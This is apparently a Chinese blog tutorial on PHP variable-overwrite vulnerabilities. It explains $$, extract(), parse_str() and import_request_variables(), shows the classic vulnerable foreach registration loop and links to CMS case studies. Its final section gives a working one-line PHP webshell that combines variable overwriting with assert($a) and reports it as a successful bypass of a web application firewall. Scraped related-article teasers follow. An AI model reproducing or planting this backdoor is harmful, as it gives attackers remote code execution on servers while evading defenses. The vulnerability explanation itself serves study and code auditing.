变量覆盖漏洞学习及在webshell中的运用
一、发生条件:
函数使用不当($$、extract()、parse_str()、import_request_variables()等)
开启全局变量
二、基础了解:
1.$$定义
$$代表可变变量,就是说,一个变量的变量名可以动态的设置和使用。
举个简单例子:

变量a被定义成了字符串hello 而变量$a被定于成了字符串world!
但同时$a本身也是个变量
$$a就可以代表两个含义$($a)和$(hello) 两个变量
此时输出的结果如图:

2.extract()定义
extract()可以从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值
语法结构:extract(array,extract_rules,prefix)
i.array为必选参数(此参数必须为数组型数据)
ii.extract_rules为可选参数,可选的值有:
● EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
● EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
● EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
● EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
● EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
● EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
● EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
● EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
iii.prefix为可选参数(此参数暂不解释)
举个例子:

在开头我们定义了一个数组d
然后我们使用extract()函数并将array参数填写为数组d
此时数组d中的键名将当做新的变量名来创建一个新的变量,而新的变量的值即为在数组中对应的值。(注意如果之前有声明过同一个变量,那么该变量将被覆盖。如果之后才声明将不会出现变量覆盖的现象)
此时输出结果为:

可以看到我们之前并未声明过a、b、c变量,但是仍可输出。
3.parse_str()定义:
把查询字符串解析到变量中
语法:parse_str(string,array)
string为必选参数
array为可选参数
举个例子

可以看到此函数将name和age初始化成了变量,且值为等号右边的值
当array参数存在时:

4.import_request_varibles()定义
将 GET/POST/Cookie 变量导入到全局作用域中
此函数相当于开启全局变量注册
语法import_request_variables(string $types ,string $prefix )
第一个参数为必选
第二个参数为可选
例子:
import_request_variables("GPC")
使用此方法即可开启对_POST、_GET、_COOKIE的全局变量注册
当第二个参数存在时将会加上一个前缀
三、经典案例
1.经典$$变量覆盖
foreach(array('_COOKIE','_POST','_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
这是一段非常经典的$$注册变量导致的变量覆盖代码,很多应用上都出现过
可以看出$_key为COOKIE POST GET中的参数
比如提交?a=1 则$_key的值为a
而下面的$$_key则会有$a的意思,结合起来就变成了$a = addslashes($_value)
这样便会覆盖原有的变量a的值
我们来运行一下:

可以看到变量a被我们覆盖掉了
2.部分cms变量覆盖案例:
MetInfo全局变量覆盖另类突破防注入
http://www.weixianmanbu.com/article/84.html
齐博CMS变量覆盖导致sql注入漏洞
http://bobao.360.cn/learning/detail/291.html
Destoon 20140530最新版超全局变量覆盖导致的安全问题
http://0day5.com/archives/1855/
四、变量覆盖玩出新花样之一句话木马bypass某狗
经过我们简单的测试,我们可以了解到:当我们使用assert函数时,如果函数的参数是可控,那么某狗拦截。例如:assert($_POST[a])或者$a=$_POST[c];assert($a)这些都是拦截

但是如果我们只有assert($a)这一句时,我们发现他就不会进行拦截了

这就值得我们思考了,为什么这样不会拦截呢?
我认为应该是某狗觉得这个变量a是不可控的,所以就认为这不是木马
那如果这时我们在联系一下变量覆盖漏洞呢?
在这里我选用了上面的案例代码
foreach(array('_COOKIE','_POST','_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
}
把addslashes()删掉 然后把代码精简下
foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}}
最终代码为
<?php foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}};assert($a);?>
成功bypass

变量覆盖漏洞学习及在webshell中的运用的更多相关文章
- 7. 由一道ctf学习变量覆盖漏洞
0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导 ...
- Web安全之变量覆盖漏洞
通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_reques ...
- ctf变量覆盖漏洞:
1.变量覆盖: ①:针对extract函数的变量覆盖漏洞: <?php @error_reporting(E_ALL^E_NOTICE); require('config.php'); if($ ...
- PHP代码审计笔记--变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...
- php之变量覆盖漏洞讲解
1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...
- 代码审计-MetInfo CMS变量覆盖漏洞
0x01 代码分析 安装好后是这样的 漏洞文件地址\include\common.inc.php 首先是在这个文件发现存在变量覆盖的漏洞 foreach(array('_COOKIE', '_POST ...
- 2020/2/1 PHP代码审计之变量覆盖漏洞
0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...
- PHP变量覆盖漏洞小结
前言 变量覆盖漏洞是需要我们需要值得注意的一个漏洞,下面就对变量覆盖漏洞进行一个小总结. 变量覆盖概述 变量覆盖指的是可以用我们自定义的参数值替换程序原有的变量值,通常需要结合程序的其他功能来实现完整 ...
- PHP变量覆盖漏洞整理
昨天群里HW的大佬们都在传某某服终端检测响应平台edr存在大量RCE的洞 官网上关于EDR的介绍是这么写的 终端检测响应平台EDR,围绕终端资产安全生命周期,通过预防.防御.检测.响应赋予终端更为细致 ...
随机推荐
- 11 Facts about Data Science that you must know
11 Facts about Data Science that you must know Statistics, Machine Learning, Data Science, or Analyt ...
- 美轮美奂!9款设计独特的jQuery/CSS3全新应用插件(下拉菜单、动画、图表、导航等)
今天要为大家分享9款设计非常独特的jQuery/CSS3全新应用插件,插件包含菜单.jQuery焦点图.jQuery表单.jQuery图片特效等.下面大家一起来看看吧. 1.jQuery水晶样式下拉导 ...
- xpack文件打包解包代码库
Github ###概述 xpack是一个文件资源打包工具及类库,可以对多文件进行打包解包. 其使用文件名的hash作为索引,建立hash索引表以加速文件查找. ###特性 支持hashid自动解冲突 ...
- Linux IO模型
1. Linux IO 模型矩阵 2. 同步阻塞IO 3. 同步非阻塞IO 4. 异步阻塞IO 5. 异步非阻塞IO
- 【BZOJ】2655: calc 动态规划+拉格朗日插值
[题意]一个序列$a_1,...,a_n$合法当且仅当它们都是[1,A]中的数字且互不相同,一个序列的价值定义为数字的乘积,求所有序列的价值和.n<=500,A<=10^9,n+1< ...
- webpack构建react多页面应用
写这个的初衷是很难找一个简洁的项目脚手架,很多脚手架都有很多依赖,光看依赖就要很久,所以自己参照网上的内容,弄个这么一个简单的多页面的脚手架. 利用creat-react-app 新建一个react应 ...
- Java编程思想 4th 第3章 操作符
有了数据,还需要进行数据间的运算,因此Java中也有数据间运算的各种符号,书本称之为操作符,正确的翻译应该是运算符. Java中的运算符同C++相同,运算符同运算符对象构成表达式,表达式是运算对象及运 ...
- UNIX网络编程 第3章 套接字编程简介
套接字结构类型和相关的格式转换函数
- Spring4笔记12--SSH整合3--Spring与Struts2整合
SSH 框架整合技术: 3. Spring与Struts2整合(对比SpringWeb): Spring 与 Struts2 整合的目的有两个: (1)在 Struts2 的 Action 中,即 V ...
- Linux下内存泄漏工具
概述 内存泄漏(memory leak)指由于疏忽或错误造成程序未能释放已经不再使用的内存的情况,在大型的.复杂的应用程序中,内存泄漏是常见的问题.当以前分配的一片内存不再需要使用或无法访问时,但是却 ...